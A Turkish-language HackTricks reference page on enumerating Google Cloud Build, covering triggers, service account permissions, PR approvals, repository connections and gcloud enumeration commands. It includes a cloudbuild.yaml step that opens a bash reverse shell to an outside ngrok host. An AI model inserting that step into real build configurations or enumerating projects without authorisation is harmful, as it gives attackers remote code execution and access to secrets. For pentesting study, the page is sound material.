GCP - Cloud Build Enum

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

Google Cloud Build, yazılım derleme ve sürüm süreçlerini otomatikleştiren, kaynak kod depolarıyla entegre olan ve geniş bir programlama dilini destekleyen bir yönetilen CI/CD platformudur. Geliştiricilere kodu otomatik olarak derleme, test etme ve dağıtma imkanı sunarken derleme adımlarını ve iş akışlarını özelleştirmelerine olanak tanır.

Her Cloud Build Tetikleyicisi, bir Cloud Deposu ile ilişkilidir veya harici bir depo ile doğrudan bağlantılıdır (Github, Bitbucket ve Gitlab).

Buradan veya Cloud Deposolarından Github/Bitbucket belirteci çalmak için herhangi bir yol göremedim çünkü depo indirildiğinde https://source.cloud.google.com/ URL'si üzerinden erişilir ve Github istemci tarafından erişilmez.

Olaylar

Cloud Build, şu durumlarda tetiklenebilir:

  • Bir şubeye itme: Şubeyi belirtin

  • Yeni bir etiket itme: Etiketi belirtin

  • Çekme isteği: PR'yi alan şubeyi belirtin

  • Manuel Çağrı

  • Pub/Sub mesajı: Konuyu belirtin

  • Webhook olayı: Bir HTTPS URL'si açığa çıkaracak ve istek bir sırla kimlik doğrulaması yapmalıdır

Yürütme

3 seçenek vardır:

  • Yürütülecek komutları belirten bir yaml/json. Genellikle: /cloudbuild.yaml

  • Web konsolunda ve cli'de "içe" belirtilebilecek tek seçenek

  • En yaygın seçenek

  • Kimlik doğrulamasız erişim için ilgili

  • Derlemek için bir Dockerfile

  • Derlemek için bir Buildpack

SA İzinleri

Hizmet Hesabı, cloud-platform kapsamına sahiptir, bu nedenle tüm ayrıcalıkları kullanabilir. SA belirtilmediğinde (örneğin, gönderme yapılırken) varsayılan SA <proj-numarası>@cloudbuild.gserviceaccount.com kullanılacaktır.

Varsayılan olarak hiçbir izin verilmez ancak bazı izinler vermek oldukça kolaydır:

Onaylar

Bir Cloud Build'in derleme yürütümleri için onay gerektirmesi mümkündür (varsayılan olarak devre dışı bırakılmıştır).

PR Onayları

Tetikleyici PR olduğunda herkesin genel depolara PR yapabileceği için sadece herhangi bir PR ile tetikleyicinin yürütülmesine izin vermek çok tehlikeli olabilir. Bu nedenle, varsayılan olarak yürütme yalnızca sahipler ve işbirlikçiler için otomatiktir ve diğer kullanıcıların PR'leri ile tetikleyiciyi yürütmek için bir sahip veya işbirlikçinin /gcbrun yorum yapması gerekir.

Bağlantılar ve Depolar

Bağlantılar şunlar üzerinden oluşturulabilir:

  • GitHub: Github belirteci almak için izin isteyen bir OAuth iletişim kutusu gösterecektir ve bu belirteç Secret Manager içinde saklanacaktır.

  • GitHub Enterprise: Bir GithubApp yüklemek için istekte bulunacaktır. GitHub Enterprise ana bilgisayarınızdan bir kimlik doğrulama belirteci oluşturulacak ve bu proje içinde bir Secret Manager sırrı olarak saklanacaktır.

  • GitLab / Enterprise: API erişim belirteci ve Okuma API erişim belirteci sağlamanız gerekecek ve bunlar Secret Manager içinde saklanacaktır.

Bir bağlantı oluşturulduğunda, Github hesabının erişimine sahip olduğu depoları bağlamak için kullanabilirsiniz.

Bu seçenek şu düğme aracılığıyla kullanılabilir:

Bu yöntemle bağlanan depoların yalnızca 2. nesil kullanarak Tetikleyicilerde mevcut olduğunu unutmayın.

Bir Depoyu Bağla

Bu bir bağlantı ile aynı değildir. Bu, erişim sağlamanın farklı yollarını sağlar Github veya Bitbucket depolarına ancak bir bağlantı nesnesi oluşturmaz, ancak bir depo nesnesi oluşturur (1. nesil).

Bu seçenek şu düğme aracılığıyla kullanılabilir:

Depolama

Bazen Cloud Build, tetikleyici için dosyaları saklamak için yeni bir depolama oluşturacaktır. Bu örneğin, GCP'nin sunduğu örnekte olduğu gibi olur:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

Kabuk Al

Kullanılacak dosyaları depolamak için security-devbox_cloudbuild adında bir depolama kovası oluşturulmuştur.

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

Cloud Build içinde gcloud'u yükleyin:

# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Sıralama

Yapılandırma ve günlüklerde hassas bilgiler bulabilirsiniz.

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

Yetki Yükseltme

pageGCP - Cloudbuild Privesc

Kimlik Doğrulamasız Erişim

pageGCP - Cloud Build Unauthenticated Enum

Saldırı Sonrası Aşama

pageGCP - Cloud Build Post Exploitation
Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated